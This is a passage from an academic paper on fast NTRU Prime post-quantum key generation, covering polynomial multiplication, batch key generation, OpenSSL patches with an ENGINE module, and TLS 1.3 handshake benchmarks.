simply add the lowest two coefficients from the f array into
every coefficient pair in the g array.

Because the recursive computations for f and g are inde-
pendent, this computation parallelizes. The overall parallel
computation for dividing a length-n polynomial by x2− 1,
assuming n = 2l , proceeds as follows. The computation com-
prises l−1 steps. The first step splits the polynomial into n/4
separate sub-polynomials; each sub-polynomial has degree
less than four. We divide a length-four sub-polynomial by
x2− 1 by adding two coefficients of higher degrees to the
lower two coefficients. We perform these divisions in parallel.
In each subsequent step, we double the sub-polynomial sizes,
and divide sub-polynomials by x2− 1 by adding two coef-
ficients of lower degree from the higher degree parts to the
lower parts of the polynomials as in Equation 2. Since each
step performs n/2 additions, the whole computation costs
n(log2(n)−1)/2 additions.

3.2.4 AVX2 optimization for the R /3 multiplier

Since we use integer arithmetic for Z/3 and integers grow, we
must control the values to prevent overflow. From the AVX2
instruction set, we use the vpshufb instruction to reduce the
values. The instruction reads the lower nibbles as indexes
from single-byte lanes of a register, then replaces the lane
values with those from a 16-entry table, using the four-bit
indexes. Thus, we use vpshufb to reduce integers in [0,16) to
integers in [0,3). We also reduce adjacent nibbles by moving
them to lower positions using bit-shift instructions.

Our software for 16×16 polynomial multiplication actu-
ally performs two independent 16×16 multiplications in the
two xmm lanes of ymm registers, respectively. The approach
avoids the high latency for moving data between different xmm
lanes in Haswell CPUs (see [21, p. 237] for the vperm2i128,
vextracti128, and vinserti128 instructions). Specifically,
our AVX2 multiplier takes two ymm registers as input and out-
puts products in two ymm registers. A ymm register comprises
two polynomials (a,c) where a,c ∈ (Z/3)[x] are stored in
different xmm lanes. Given two ymm inputs (a,c) and (b,d),
the multiplier outputs (abl ,cdl) and (abh,cdh) in two ymm reg-
isters, where a ·b = abl +abh · x16 and c ·d = cdl + cdh · x16.
Thus, we avoid the data exchange between xmm lanes.

3.3 Polynomial multiplication in (Z/q)[x]
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Problem description and related multiplication. While ap-
plying NTT-based multiplication, NTRU Prime faces two
issues. First, recalling Section 2.1, NTRU Prime works on
the polynomial ring R /q = (Z/q)[x]/(xp − x− 1) where
xp− x−1 is irreducible in (Z/q)[x]; hence, there is no way
to apply FFT tricks on the ring. The standard workaround
is to lift ring elements in R /q to (Z/q)[x], and multiply
the lifted polynomials with an NTT-based multiplication in
(Z/q)[x]/(xN−1) where N ≥ 2p. Since two input polynomi-
als have degree less than p, their product will not overflow the
degree N. After the polynomial multiplication, the product is
reduced with a division by xp− x−1 for the result in R /q.

Secondly, q from the NTRU Prime parameter set is not
a radix-2 NTT friendly prime. For example, q = 4591 in
sntrup761, and since 4591−1 = 2 ·33 ·5 ·17, no simple root
of unity is available for recursive radix-2 FFT tricks. Alkim,
Cheng, Chung, Evkan, Huang, Hwang, Li, Niederhagen, Shih,
Wälde, and Yang [3] presented a non-radix-2 NTT imple-
mentation on (Z/4591)[x]/(x1530−1) for embedded systems.
They performed radix-3, radix-5, and radix-17 NTT stages in
their NTT. We instead use a radix-2 algorithm that efficiently
utilizes the full ymm registers in the Haswell architecture.

The fastest Haswell sntrup software before our work dealt
with the radix-2-NTT-unfriendly q by lifting the coefficients
to Z and then multiplying in (Z/7681)[x] and (Z/10753)[x].
Both 7681 and 10753 are NTT-friendly. This suffices for
“big×small” multiplications for all specified NTRU Prime pa-
rameters: one input is a small element of R /q, coefficients in
{−1,0,1}; the maximum coefficient of a “big×small” prod-
uct is below 7681 ·10753/2 in absolute value.

However, Montgomery’s trick involves general “big×big”
multiplications in R /q. Even if each coefficient for, e.g., q =
4591 is fully reduced to the range [−2295,2295], the prod-
uct here can have coefficients as large as 2295 ·2295 ·761 >
7681 ·10753. One way to handle these multiplications would
be to use more NTT-based multiplications over small moduli,
for example multiplying in (Z/7681)[x] and (Z/10753)[x]
and (Z/12289)[x], but this means 50% more NTTs, plus ex-
tra reductions since 12289 is larger than 10753. We take a
different approach described below.

Our polynomial multiplication. In this section, we present
a multiplication for polynomials in (Z/q)[x] with degree less
than 1024. We first map polynomials to (Z/q)[x]/(x2048−1).
Rather than switching from q to an NTT-friendly prime, we
use Schönhage’s trick (Section 2.3) to manufacture roots of
unity for radix-2 NTTs.

Specifically, define K as the ring (Z/q)[x]/(x64 + 1). We
map (Z/q)[x]/(x2048− 1) to ((Z/q)[y]/(y64− 1))[x]/(x32−
y), lift to (Z/q)[x][y]/(y64−1), and then map to K[y]/(y64−
1). Each 32 consecutive terms of a polynomial in (Z/q)[x]
are thus viewed as an element of K. We segment the original
polynomial of 1024 terms in x into 32 elements in K, associat-
ing each element in K to a new indeterminate y with different
degrees. The remaining problem is to multiply elements of

the ring K[y]/(y64−1).
We use NTTs to multiply in K[y]/(y64− 1), using x as a

primitive 128-th root of unity in K. NTT-based multiplica-
tion applies two NTTs for the input polynomials, performs
component-wise multiplication for the transformed values,
and applies one inverse NTT for the final product. Each NTT
converts one input element in K[y]/(y64−1) into 64 elements
in K, using additions, subtractions, and multiplications by
powers of x. Multiplication by a power of x simply raises the
degree of the polynomial in (Z/q)[x], and then replaces x64+i

by −xi, using negations without any multiplications in Z/q.
After transforming the input polynomials into a list of ele-

ments in K, we perform the component-wise multiplication
for the transformed vectors. The problem now is to multiply
two elements of K = (Z/q)[x]/(x64 +1).

We use Nussbaumer’s trick (Section 2.3) to manufacture
further roots of unity: map K to ((Z/q)[y]/(y8 +1))[x]/(x8−
y), lift to ((Z/q)[y]/(y8 +1))[x], and map to ((Z/q)[y]/(y8 +
1))[x]/(x16−1). The polynomial ring (Z/q)[y]/(y8 +1) sup-
ports a radix-2 NTT of size 16 with a primitive root of unity y.
Since the polynomials are short, we choose Karatsuba’s algo-
rithm for component-wise multiplication in (Z/q)[y]/(y8+1).
We use Montgomery multiplication [25] to calculate modular
products in Z/q.

For sntrup761 and sntrup653, the input polynomials
have degree less than 768, so we truncate some computations
in the NTT algorithm: we apply NTT on the ring K[y]/((y32+
1)(y16−1)) instead of the original K[y]/(y64−1). We map
the input polynomials to degree-24 polynomials in K[y], and
calculate the product with a truncated inverse NTT of 48 val-
ues. Our NTT sizes are within 18%, 1%, and 20% of optimal
for 653, 761, and 857 respectively; further truncation is pos-
sible at the expense of some complication in the calculations.

AVX2 optimization for the R /q multiplier. Since the
component-wise multiplication step comprises 48 or 64 mul-
tiplications on K, we perform the multiplications simultane-
ously in different 16-bit lanes of ymm registers. Our software
stores the first Z/q coefficient of 16 elements in K in a ymm
register, stores their second coefficients in a second register,
and so on. In this way, we avoid data movement between the
16-bit lanes inside a ymm register.

To apply this optimization, we first rearrange the coeffi-
cients of a polynomial to different registers with a 16× 16
matrix transposition. Given sixteen degree-15 polynomi-
als (a(0)0 + a(0)1 x+ · · ·+ a(0)15 x15), · · · ,(a(15)

0 + · · ·+ a(15)
15 x15),

data in (. . .) represents one ymm register, and we treat a
polynomial in one ymm register as a row of a 16 × 16
matrix. Transposing this matrix rearranges the data to
(a(0)0 , · · · ,a(15)

0 ), · · · ,(a(15)
15 , · · · ,a(15)

15 ). Thus, we can fetch a
specific coefficient by accessing its corresponding ymm regis-
ter, while parallelizing 16 polynomial multiplications for the
transposed data.

We use the method in [37] for matrix transposition. The
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technique transposes a 2×2 matrix by swapping its two off-
diagonal components. For transposing matrices with larger
dimensions, e.g. 4×4, it first swaps data between two 2×2
off-diagonal sub-matrices, and then performs matrix transpose
for all its four sub-matrices.

3.4 Microbenchmarks: arithmetic

We benchmark our implementation on an Intel Xeon E3-1275
v3 (Haswell), running at 3.5 GHz, with Turbo Boost disabled.
The numbers reported in this section are medians of 3 to 63
measurements, depending on the latency of the operation un-
der measurement. We omit benchmarks here for sntrup653
because it actually uses the same multiplier as sntrup761.

Benchmarks for R /3. We compare cycle counts for R /3
multiplication between our implementation and the best previ-
ous sntrup implementation, round2 in [10], in the following
table.

Parameter Implementation Cycles

sntrup761
this work (Section 3.2) 8183

this work (NTT, Appendix A) 8827
NTRUP round2 (NTT, [10]) 9290

sntrup857
this work (Section 3.2) 12840

this work (NTT, Appendix A) 12533
NTRUP round2 (NTT, [10]) 12887

The best results are from our our Karatsuba-based polyno-
mial multiplication for smaller parameters, and from our NTT
improvements for larger parameters.

Another question is the efficiency of Montgomery’s trick
for inversion in R /3. Recall that, roughly, the trick replaces
one multiplicative inversion by three ring multiplications, one
amortized ring inversion, and one check for zero divisors. We
show benchmarks of these operations in the following table.

Parameter Operation Cycles

sntrup653
Ring inversion 95025

Invertibility check 22553
Ring multiplication 8063

sntrup761
Ring inversion 114011

Invertibility check 9668
Ring multiplication 8183

sntrup857
Ring inversion 160071

Invertibility check 12496
Ring multiplication 12533

We can see the cost of three multiplications and one invertibil-
ity check is less than half of a single inversion in R /3. It is
clear that batch inversion costs less than pure ring inversion,
even for the smallest possible batch size of two.

Benchmarks for R /q. The following table shows the cycle
counts of big×big multiplication and big×small multiplica-
tion in R /q, comparing with the previous best software [10].

Parameter Implementation Cycles

sntrup761
this work (Section 3.3), big×big 25113

this work (Appendix A), big×small 16992
NTRUP round2 [10], big×small 18080

sntrup857
this work (Section 3.3), big×big 32265

this work (Appendix A), big×small 24667
NTRUP round2 [10], big×small 25846

The results show the absolute cycle count of big×big is larger
than big×small multiplication. To evaluate the efficiency of
big×big multiplication, consider if we extend the big×small
multiplication to big×big multiplication, by applying more
internal NTT multiplications. It will result in multiplications
of roughly 3/2 times the current cycle counts, i.e., slower than
big×big multiplication presented in this work.

Since big×small multiplication is faster than big×big, we
use the former as much as possible in batchInv for R /q. Re-
call that Montgomery’s trick for batch inversion replaces one
inversion in R /q by roughly three ring multiplications and
one amortized ring inversion. From the batchInv algorithm
in Section 2.2, we can see the three ring multiplications are
ai · bi−1, ai · ti, and ti · bi−1. Since the input ai is a small ele-
ment, it turns out that only the last is big×big multiplication.
Since the costs for inverting one element in R /q are 576989,
785909, and 973318 cycles for sntrup653, sntrup761, and
sntrup857, respectively, the cost of two big×small and one
big×big multiplication is clearly much less than one inversion
operation.

Benchmarks for batch key generation. We show the bench-
mark results for batch key generation (BatchKeyGen) in Fig-
ure 2. See also Table 3.

The figure shows how increasing n, the key generation
batch size, amortizes the ring inversion cost. Generating a few
dozen keys at once already produces most of the throughput
benefit: for example, generating n = 32 keys takes a total
of 1.4 milliseconds for sntrup761 at 3.5GHz. Generating
n = 128 keys takes a total of 5.2 milliseconds for sntrup761
at 3.5GHz, about 10% better throughput than n = 32.

We adopt BatchKeyGen with batch size n = 32 in our li-
brary, resulting in 156317 Haswell cycles per key.

4 New TLS software layering

At the application level, the goals of our end-to-end experi-
ment are to demonstrate how the new results can be deployed
in real-world conditions, transparently for the end users, and
meet the performance constraints of ubiquitous systems. For
this reason, we developed patches for OpenSSL 1.1.1 to
support post-quantum key exchange for TLS 1.3 connections.
We designed our patches so that any existing application built
on top of OpenSSL 1.1.1 can transparently benefit from the
PQC enhancements with no changes, as the patched version
of OpenSSL retains API/ABI compatibility with the origi-
nal version and acts as a drop-in replacement. This works
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Figure 2: BatchKeyGen metrics regarding various batch sizes
(n). Top: full batch cost in CPU cycles. Middle: amortized
cost in CPU cycles, dividing by n. Bottom: memory footprint,
i.e., heap+stack usage, in kilobytes.

for any application dynamically linking against libssl as
the backend to establish TLS 1.3 connections. Among them,
for our demonstration, we picked a web browser1, a custom
application (tls_timer, described later), and a TLS proxy.2

After installing our patched version of OpenSSL, users can
establish secure and fast post-quantum TLS connections.

Appendix E provides relevant technical background re-
garding the OpenSSL software architecture. The rest of this
section describes, with more detail, our work to achieve the
goals of our experiment, and provides rationale for the most
relevant design decisions.

Figure 3 depicts a high-level overview of our end-to-end
experiment, highlighting the boundary between the unmod-
ified software ecosystem and our novel contributions. This
section details, in particular, our OpenSSL patches and our
new ENGINE component. libsntrup761 and libsntrup857

1GNOME Web (a.k.a. epiphany) — https://wiki.gnome.org/Apps/
Web

2stunnel — https://www.stunnel.org/

stunnel
TLS terminator

Back-end web server

OpenSSL
Cryptography and SSL/TLS Toolkit

patched for PQ KEM
in TLS 1.3

engntru
New ENGINE

libsntrup761
libsntrup857

New KEM libraries

OpenSSL
Cryptography and SSL/TLS Toolkit

patched for PQ KEM
in TLS 1.3

epiphany
Web browser

engntru
New ENGINE

libsntrup761
libsntrup857

New KEM libraries

TLS 1.3 key agreement using fast PQ KEM

unmodified software ecosystem
our patches and new software

Patched to support
- private TLS codepoints for sntrup761 and 
sntrup857 KEM;
- KEM key agreements alongside DH NIKE;
- KEM mapped on available PKE+NIKE 
primitives;
(required patches are mostly contained in 
libssl)

- provides EVP methods for sntrup761 and 
sntrup857 as a combination of PKE+NIKE 
primitives;
- supports keygen batching (thread-local);
- maps PKE+NIKE operations to libsntrup761
or libsntrup857 KEM backends;
- dynamically loadable in libcrypto.

- provide new optimized implementations of 
sntrup761 and sntrup857 operations;
- contain the actual cryptographic 
functionality.

rapidly evolving software ecosystem

Figure 3: Overview of our end-to-end experiment.

provide the new optimized implementations of sntrup761
and sntrup857 operations (Section 3), through a simple stan-
dardized API that is independent from OpenSSL, and reusable
by other cryptographic software components.

4.1 OpenSSL patches
Figure 4 depicts an architecture diagram of our end-to-end
experiment, highlighting with red boxes inside the libcrypto
and libssl modules, the patched OpenSSL components.

libssl changes. Within libssl, conceptually three ele-
ments need to be changed:

• Modify the server-side handling of the key_share exten-
sion in an outgoing ServerHello to conditionally use a
KEM Encapsulate() operation for KEM groups;

• Modify the client-side handling of the key_share exten-
sion in an incoming ServerHello to conditionally use
a KEM Decapsulate() operation for KEM groups;

• Hardcode private NamedGroup TLS 1.3 codepoints to
negotiate sntrup761 or sntrup857 groups for key ex-
change.

As OpenSSL 1.1.1 does not provide an abstrac-
tion for KEM primitives, we implemented the first
two changes as a workaround, to which we refer
as PKE+NIKE. It maps the KEM operations as a
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Figure 4: Architecture diagram of the end-to-end experiment,
derived from [36, Figure 2]. The red boxes within libssl and
libcrypto represent patches applied to OpenSSL 1.1.1 to
enable our post-quantum KEM experiment over TLS 1.3. The
striped sntrup761 ref box represents the optional patch
to also include a reference implementation for sntrup761
inside libcrypto. When loaded, engNTRU overrides it with
the optimized implementation from libsntrup761.

combination of public-key encryption (PKE) and non-
interactive key exchange (NIKE).3 We combine the use
of EVP_PKEY_encrypt() with NULL input, followed by
EVP_PKEY_derive() to mimic Encapsulate(), and
EVP_PKEY_decrypt() with NULL output, followed by
EVP_PKEY_derive() for Decapsulate(). Due to the
structure of the PKE+NIKE workaround, on both sides of
the handshake, handling the key_share extension for KEM
groups finishes with the call for EVP_PKEY_derive(), before
updating the protocol key schedule. This is also the case in the
original code that supports traditional NIKE. Therefore, the
new code only affects the handling of the opaque key_share
content transmitted over the wire.

As depicted in Figure 1, on the server side, traditional NIKE
groups generate an ephemeral key pair, sending the encoded
public key as the payload of the extension. With our patch,

3Generally speaking, the EVP API supports any NIKE algorithm. But
historically, DH and ECDH have been the only implementations included in
OpenSSL for this API. Hence, code and documentation tend to refer to such
primitives as DH key exchange or just key exchange rather than NIKE.

if the group is flagged as a KEM group, instead of key gen-
eration we execute EVP_PKEY_encrypt() under the client’s
public key with NULL input. We then send the resulting cipher-
text as the payload of the key_share extension. As a side ef-
fect, per our PKE+NIKE workaround, EVP_PKEY_encrypt()
also stores the shared secret plaintext within the internal state
of the server-side object representing the client’s public key.
This plaintext is what is ultimately retrieved upon calling
EVP_PKEY_derive().

On the client side, for traditional NIKE groups, the pay-
load of the key_share extensions is parsed as the encod-
ing of the peer’s public key, to be used in the subsequent
EVP_PKEY_derive(). With our patch, if the group is flagged
as a KEM group, instead we treat the key_share payload
as the ciphertext to be used in EVP_PKEY_decrypt() under
the client’s secret key, and with NULL output. The resulting
plaintext is stored in the internal state of the client-side object
representing the client’s key pair. The plaintext shared secret
is ultimately retrieved via EVP_PKEY_derive().

The last patch alters the libssl static table of supported
TLS 1.3 groups. It assigns private NamedGroup codepoints to
negotiate sntrup761 or sntrup857 key exchanges, flagged
as KEM groups, and links it to static numeric identifiers (NIDs)
defined within libcrypto headers. These identify implemen-
tations of sntrup761 and sntrup857, as described in the
next paragraph.
libcrypto changes. libcrypto 1.1.1 has the ability to
generate NIDs dynamically for custom algorithms unknown
at OpenSSL build time. In contrast, libssl 1.1.1 defines
supported groups in a static table generated during compi-
lation. It is technically possible to inject KEM functionality
(using the PKE+NIKE workaround described above) via a
custom ENGINE without any change to libcrypto. Yet, the
limited support for dynamic customization in libssl adds
the requirement for a libcrypto patch to issue static NIDs
for sntrup761 and sntrup857. This is so they can be in-
cluded in the libssl static table at compile time. For each
parameter set, this patch uses the internal OpenSSL tooling to
issue a novel static NID and associate it with the correspond-
ing sntrup* algorithm and a custom object identifier (OID),4

required for serializing and deserializing key objects. With
this data, the tooling updates the public libcrypto headers,
adding the relevant sntrup* definitions.

Additionally, we include an optional patch for libcrypto
that adds a reference implementation of sntrup761 as a new
libcrypto submodule. Including this patch allows us to test
the implementation provided by engNTRU against the refer-
ence implementation, and also to test the software stack on
the server and the client in absence of the ENGINE. This eases
the debug process during the development of engNTRU. For
the final users of our end-to-end scenario, this patch is en-
tirely optional, as the dynamic ENGINE injects the optimized

4https://www.itu.int/en/ITU-T/asn1/Pages/OID-project.
aspx
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implementation for the cryptographic primitive if it is absent.
Otherwise, it overrides the default reference implementation
if it is already included in libcrypto.

4.2 The engNTRU ENGINE

As mentioned in Section 2.5.2 and depicted in Figure 3 and
Figure 4, as part of our end-to-end experiment, we introduce
a new ENGINE, dubbed engNTRU.

We followed the methodology suggested in [36], and we
defer to it for a detailed description of the ENGINE frame-
work, how it integrates with the OpenSSL architecture (par-
tially illustrated in Figure 4), security considerations, and
general motivations to use the ENGINE framework for applied
research. In this section, we highlight how this choice has
two main benefits: it decouples OpenSSL from fast-paced
development in the ecosystem of optimized implementations
for post-quantum primitives, and at the same time it decouples
external libraries implementing novel primitives from the data
types and patterns required for OpenSSL compatibility.
engNTRU builds upon libbecc [15], which is itself de-

rived from libsuola [36]. Similar to both previous works,
engNTRU is also a shallow ENGINE, i.e., it does not con-
tain actual cryptographic implementations for the supported
primitives. Instead, it delegates actual computations to
libsntrup761 and libsntrup857. The functionality pro-
vided by engNTRU includes:

• building as a dynamically loadable module, injecting
support for novel cryptographic primitives transparently
for existing applications;

• supporting generic KEM primitives under the
PKE+NIKE workaround;

• dynamically injecting/replacing support for sntrup761
at run-time, delegating to libsntrup761 for optimized
computation;

• dynamically injecting support for sntrup857 at run-
time, delegating to libsntrup857 for optimized com-
putation;

• mapping the PKE+NIKE workaround back to the stan-
dard KEM API adopted by the implementations of NIST
PQC KEM candidates, including libsntrup*.

Furthermore, similar to libbecc and libsuola, and using
the same terminology, engNTRU supports the notion of multi-
ple providers to interface with the OpenSSL API. Under the
serial_lib provider, each Keygen() operation is mapped
to crypto_kem_keypair(), generating a new key pair on de-
mand as defined by the NIST PQC KEM API. Alternatively,
under the batch_lib provider (which is the default in our ex-
periment), engNTRU supports batch key generation, similar to
libbecc. In the case of libsntrup761 and libsntrup857,
this allows OpenSSL and applications to transparently take
advantage of the performance gains described in Section 3.

Under the batch_lib model, while a process is run-
ning, each sntrup* parameter set is associated with
a thread-safe heap-allocated pool of key pairs. Every
time an application thread requests a new sntrup* key
pair, engNTRU attempts to retrieve a fresh one from the
corresponding pool. For each supported parameter set, it
dynamically allocates a pool, initialized the first time a
key pair is requested. This includes filling the pool, by
calling crypto_kem_sntrup761_keypair_batch() or
crypto_kem_sntrup857_keypair_batch(). Otherwise,
after the first request, engNTRU serves each request by
copying (and then securely erasing from the pool buffer)
the next fresh entry in the pool. After this, if consuming the
key pair emptied the pool, engNTRU fills it again, by calling
the corresponding libsntrup* batch generation function.
This happens synchronously, before returning control to
the application. Storing keys for deferred use adds security
concerns: engNTRU addresses them relying on standard OS
guarantees for the protection of memory contents across
processes and users. On the other hand, the batch strategy
decouples the generation of a key pair from its use in the
application (e.g., an attacker’s connection request), which
complicates many implementation attacks, and results in an
overall positive security impact.

In terms of performance, it is easy to see the advan-
tage of batch_lib over serial_lib from our microbench-
marks in Section 3. With serial_lib, each sntrup761 key
costs 0.4ms on a 2GHz Haswell core. With batch_lib,
within each batch of 32 sntrup761 keys, the first key costs
2.5ms, and the remaining 31 keys each cost 0ms. Note that,
according to video-game designers [16], latencies below
20ms are imperceptible. A series of K sntrup761 keys
costs 0.4Kms from serial_lib and just (0.08K + 2.5)ms
from batch_lib. Similar comments apply to the separate
sntrup857 pool.

As long as API/ABI compatibility is maintained in the
engNTRU/libsntrup* interfaces, further refinements in the
libsntrup* implementations do not require recompiling
and reinstalling engNTRU, nor OpenSSL, nor other com-
ponents of the software ecosystem above. At the same
time, libsntrup761 and libsntrup857 are isolated from
OpenSSL-specific APIs, so they can easily be reused by alter-
native stacks supporting the NIST PQC KEM API. Moreover,
they can retain a lean and portable API, while details like the
handling of pools of batch results, or the sharing model to
adopt, are delegated to the middleware layer.

4.3 Reaching applications transparently

Consulting Figure 4, the purpose of this section is to describe
the extent of the application layer we explored in our study.
In these experiments, we investigated two paths to reach
libssl and libcrypto (and subsequently engNTRU then
libsntrup*). Namely, a networking application dynamically
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linking directly, and a separate shared library against which
even higher level applications dynamically link against. More
generally, this approach works for any application which sup-
ports TLS 1.3 by dynamically linking against libssl 1.1.1,
but not for statically linked applications.5

stunnel. For networking applications that do not natively
support TLS, stunnel is an application that provides TLS
tunneling. The two most common deployment scenarios for
stunnel are client mode and server mode.

In client mode, stunnel listens for cleartext TCP connec-
tions, then initiates a TLS session to a fixed server address.
A common use case for client mode would be connecting to
a fixed TLS service from a client application that does not
support TLS. For example, a user could execute the telnet
application (with no TLS support) to connect to a client mode
instance of stunnel, which would then TLS-wrap the con-
nection to a static SMTPS server to securely transfer email.

In server mode, stunnel listens for TLS connections, then
initiates cleartext TCP connections to a fixed server address.
A common use case for server mode would be providing a
TLS service from a server application that does not support
TLS. For example, a user could serve a single static web page
over HTTP with the netcat utility, which stunnel would
then TLS-wrap to serve the content via HTTPS to incoming
connections from e.g. browsers. In this light, stunnel server
mode is one form of TLS termination.
stunnel links directly to OpenSSL for TLS function-

ality, hence the intersection with engNTRU and underlying
libsntrup* is immediate. For example, in stunnel server
mode, this requires no changes to the server application, which
in fact is oblivious to the TLS tunneling altogether.

glib-networking. Similar to how the Standard Template Li-
brary (STL) and Boost provide expanded functionality for
C++ (e.g. data structures, multithreading), Glib is a core C
library for GNOME and GTK applications. Bundled as part
of Glib, one feature of the Gnome Input/Output (GIO) C
library provides an API for networking functionality, includ-
ing low-level BSD-style sockets. For TLS connections, GIO
loads the glib-networking C library, which abstracts away
the backend TLS provider, and presents a unified interface
to callers. Currently, glib-networking supports two such
backends: GnuTLS and OpenSSL. The latter is newer, main-
lined in v2.59.90 (Feb 2019) while the current version as
of this writing is v2.68.1. This is precisely the place where
glib-networking intersects OpenSSL. To summarize, the
modularity of glib-networking regarding TLS backends,
coupled with the layered approach of GIO, allows any ap-
plication utilizing glib-networking for TLS functional-
ity to transparently benefit from ENGINE features, including
engNTRU.

5Although not part of our end-to-end demo described here, we further
validated this by successfully enabling sntrup connections in popular web
servers, such as nginx and Apache httpd, and other applications, without
changes to their sources or their binary distributions.
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samples, in terms of average number of connections per sec-
ond. This metric is extrapolated from measuring the elapsed
wall-clock time over 8192 sequentially established connec-
tions per sample.

One such application, and one highlight of our experiment,
is GNOME Web. Neither Google Chrome nor Mozilla Fire-
fox are capable of this level of modularity. Both browsers
link directly to TLS backends at build time (BoringSSL,
NSS). These do not support dynamically injecting this level
of cryptosystem functionality, necessarily extending to the
TLS layer as well. In general, all other popular browser im-
plementations (we are aware of) require source-code changes
to add any new TLS cipher suite. In our experiments, we
are able to make GNOME Web sntrup761- and sntrup857-
aware with absolutely no changes to its source code, nor
that of glib-networking. Performance-wise, GNOME Web
then transparently benefits from the batch key generation in
libsntrup* through engNTRU, loaded dynamically by the
OpenSSL TLS backend of glib-networking.

4.4 Macrobenchmarks: TLS handshakes

To conclude our end-to-end experiment, we investigated the
impact of enabling post-quantum key exchanges for TLS 1.3
handshakes, as perceived by end users. We considered an
experiment on large-scale deployments like CECPQ1 or
CECPQ2 out of scope for this work, as it would be better
served by a dedicated study. As an alternative, we decided to
evaluate the performance on a smaller and more controlled
environment: namely, a client and a server connected over a
low-traffic Gigabit Ethernet network. We chose to focus on
number of connections per second as the more relevant metric
from the point of view of end users, and used easily accessible
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consumer hardware as the platform, to simulate a small office
setup.6

To exercise full control over the sampling process, we de-
veloped a small (about 300 LOC) TLS client built directly
on top of libssl (see Appendix D for a discussion about
in-browser benchmarks). Referring to the diagram in Fig-
ure 3, the end-to-end benchmark replaces epiphany with
this new program, that we dubbed tls_timer. In its main
loop, tls_timer records a timestamp, sequentially performs
a predetermined number of TLS connections, then records a
second timestamp, returning the elapsed wall-clock time. In
the above loop, for each connection, it performs a full TLS 1.3
handshake. Then, the client properly shuts down the connec-
tion, without sending any application data. Hence, the total
elapsed time measured by the client covers the computation
time required by client and server to generate and parse the
content of the exchanged messages. It also includes the time
spent due to transit of packets over the network, and through
userland/kernelspace transitions. In particular, with respect to
cryptographic computations, during the benchmark the client
repeatedly performs Keygen() and Decapsulate() for
the ephemeral key exchange, and RSA-2048 signature ver-
ifications to validate the identity of the server against its
certificate. During the client-measured interval, the server
respectively performs Encapsulate() for the ephemeral
key exchange, and RSA-2048 signature generation for authen-
tication.

As a baseline for comparisons, we used tls_timer to anal-
ogously measure the performance of TLS handshakes using
the most popular TLS 1.3 groups for key exchange: namely,
X25519 and P-256, in their respective ASM-optimized imple-
mentations. These are the fastest software implementations of
TLS 1.3 key-exchange groups shipped in OpenSSL 1.1.1k,
and are widely deployed in production. For these groups,
computation on the client and server differs from the descrip-
tion above exclusively on the ephemeral key exchange, as
both sides perform their respective NIKE Keygen() and
Derive() operations instead of the listed post-quantum
KEM operations, as summarized in Figure 1.

On the server side tls_timer connects to an instance
of stunnel, configured as described above. Technically
stunnel is itself connected to an apache2 HTTP daemon
serving static content on the same host, but as tls_server
does not send any application data, the connection between
stunnel and apache2 is short-lived and does not carry data.
Finally, to minimize noise in the measurements, we disabled
frequency scaling and Turbo Boost on both platforms, termi-
nated most concurrent services and processes on the client and
the server, and isolated one physical core exclusively to each

6The client side is hosted on an Intel Core i7-6700 workstation, running
Ubuntu 20.04.2 with Linux 5.4.0, while the server side is hosted on an AMD
Ryzen 7 2700X workstation, running Ubuntu 18.04.5 with Linux 5.4.0. Both
peers directly connect to the same Gigabit Ethernet L2 switch via their
embedded Gigabit Ethernet NICs.

benchmark process (i.e., tls_timer, stunnel and apache2)
to avoid biases due to CPU contention.

Figure 5 visualizes our experimental results as cumulative
distributions for each tested group. The results show that, in
our implementation, both the recommended sntrup761 pa-
rameter set and the higher security sntrup857 consistently
achieve more connections per second than the optimized im-
plementations of pre-quantum alternatives currently deployed
at large.

One should not conclude that sntrup761 and sntrup857
cost less than ECC overall. The unloaded high-bandwidth net-
work of our experimental environment masks the higher com-
munication costs of the lattice cryptosystems, whereas rea-
sonable estimates of communication costs (see generally Ap-
pendix B) say that every lattice system costs more than ECC.
Nevertheless, our results show that, in terms of computational
costs, we achieve new records when compared with the fastest
implementations of TLS 1.3 key-exchange groups included
in OpenSSL 1.1.1k, while providing higher pre-quantum
security levels and much higher post-quantum security levels
against all known attacks. This significantly reduces the total
sntrup* costs, in effect assigning higher decision-making
weight to size and, most importantly, security.

5 Conclusion

NIST’s ongoing Post-Quantum Cryptography Standardiza-
tion Project poses significant challenges to the cryptology,
applied cryptography, and system security research commu-
nities, to name a few. These challenges span both the aca-
demic and industry arenas. Our work contributes to solving
these challenges in two main directions. (1) In Section 3, we
propose software optimizations for sntrup, from fast SIMD
arithmetic at the lowest level to efficient amortized batch
key generation at the highest level. These are an essential
part of our new libsntrup761 and libsntrup857 libraries.
(2) In Section 4, we demonstrate how to realize these gains
from libsntrup* by developing engNTRU, a dynamically-
loadable OpenSSL ENGINE. We transparently expose it to
the application layer through a light fork of OpenSSL, aug-
mented with sntrup support in TLS 1.3 cipher suites. Our
experiments reach the Gnome Web (epiphany) browser on
the client side and stunnel as a TLS terminator on the server
side—both with no source-code changes. Finally, our end-to-
end macrobenchmarks combine (1) and (2) to achieve more
TLS 1.3 handshakes per second than any software included
in OpenSSL.

CECPQ1 and CECPQ2 were important proof-of-concept
experiments regarding the integration of post-quantum algo-
rithms into selected browser and TLS implementations, but
those experiments suffered from poor reproducibility: the
capabilities and telemetry are only available to major indus-
try players like Google and Cloudflare, so the cryptographic
primitive choice and optimization techniques were dictated
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by them as well. Our work demonstrates that establishing a re-
search environment to provide reproducible results is not only
feasible, but achievable with a reasonable workload distribu-
tion, using new TLS software-layering techniques to minimize
complexity at the architecture and system levels.

Availability. In support of Open Science, we provide
several free and open-source software (FOSS) contribu-
tions and research artifacts.7 We released libsntrup761,
libsntrup857, engNTRU, and tls_timer as FOSS. We also
contributed our FOSS implementations of enc and dec to SU-
PERCOP; its API does not support batch keygen at this time.
Lastly, we published our OpenSSL patches and a detailed,
step-by-step tutorial to reproduce our full experiment stack.
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A Further improvements in NTRU Prime soft-
ware

This paper emphasizes a big speedup in sntrup key gen-
eration, and new software layers integrating this speedup
into TLS software. The speedup relies on changing the key-
generation API to generate many keys at once, and providing
one key at a time on top of this requires maintaining state,
which is enabled by the new software layers.

This appendix describes other ways that we have improved
the NTRU Prime software without changing the API. The soft-
ware was already heavily tuned before our work, but some
further streamlining turned out to be possible, for example
reducing sntrup761 enc from 48892 cycles to 46914 cycles
and reducing dec from 59404 cycles to 56241 cycles. More
important than these quantitative speedups is the software
engineering: we considerably simplified the preexisting op-
timized code base for NTRU Prime, especially with the new
NTT compiler described below.
Review of NTRU Prime options. The NTRU Prime pro-
posal specifies various lattice dimensions. Round-1 NTRU
Prime specified only dimension 761. Round-2 NTRU Prime
specified dimensions 653, 761, and 857. Round-3 NTRU
Prime—which appeared after our first announcement of the
